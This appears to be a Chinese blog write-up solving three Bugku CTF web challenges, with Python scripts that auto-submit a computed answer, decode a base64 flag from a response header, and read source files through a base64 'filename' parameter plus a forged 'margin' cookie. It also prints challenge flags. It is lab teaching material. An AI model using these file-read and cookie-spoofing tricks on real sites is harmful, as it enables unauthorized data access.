文章目录
一、“秋名山老司机”
开启环境,提示要在两秒钟计算结果
多次刷新发现每次的值不一样,并且知道了答案要通过赋值给value
然后post上去
想到可以通过获取网页源代码使用eval()
执行算式
编写以下python脚本
#requests实现请求,bs4获取标签内容
import requests,bs4
url = 'http://123.206.87.240:8002/qiumingshan/'
#由于每次刷新后算式会不同,需要保持会话
rs = requests.session()
rsg = rs.get(url)
content = rsg.content
#获取div标签内容,并通过split分离出算式
soup = bs4.BeautifulSoup(content,'lxml')
txt = str(soup.find("div")).split("=")[0].split(">")[-1]
#eval执行算式得到结果
ans = eval(txt)
#将结果赋值并post
data = {
"value":ans
}
rsp = rs.post(url,data=data)
#打印返回的结果
print(rsp.text)
多次运行后得到FLAG
Bugku{YOU_DID_IT_BY_SECOND}
二、“速度要快”
打开环境提示开启速度太慢
使用Burp查看抓包
多次尝试发现,flag是base64密文且每次均会改变
解题需要把flag的明文赋值给margin
并且post
编写以下python脚本
#requests实现请求,base64实现加解密
import requests,base64
#session保持会话确保flag不变
rs = requests.session()
rsg = rs.get("http://123.206.87.240:8002/web6/")
#获取包含在请求头里的密文
bs64 = rsg.headers['flag']
#去除开头的 'flag:',此处引号后面有个空格才是base64密文,使用空格分隔提取后半部分
flag = base64.b64decode(bs64).decode().split(" ")[-1]
#解密
flag = base64.b64decode(flag).decode()
#赋值并且post
data = {
'margin':flag
}
rsp = rs.post("http://123.206.87.240:8002/web6/",data=data)
#打印返回结果
print(rsp.text)
运行得到FLAG
KEY{111dd62fcd377076be18a}
三、“cookies欺骗”
打开环境发现get请求了两个参数
filename
通过base64解码发现是keys.txt
将filename
改成base加密的index.php:aW5kZXgucGhw
并且给line
赋值,猜想是按行号读取
编写python脚本尝试读取整个index.php
import requests
rs = requests.session()
for i in range(1,21):
url = 'http://123.206.87.240:8002/web11/index.php?line={}&filename=aW5kZXgucGhw'.format(i)
rsg = rs.get(url)
print(rsg.text)
得到源码
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
代码审计可知:FLAG在文件keys.php
里面,并且需要令get请求的Cookie
为margin=margin
使用Burp构造请求,base64加密:a2V5cy5waHA=
得到FLAG
KEY{key_keys}
完
欢迎在评论区留言
感谢浏览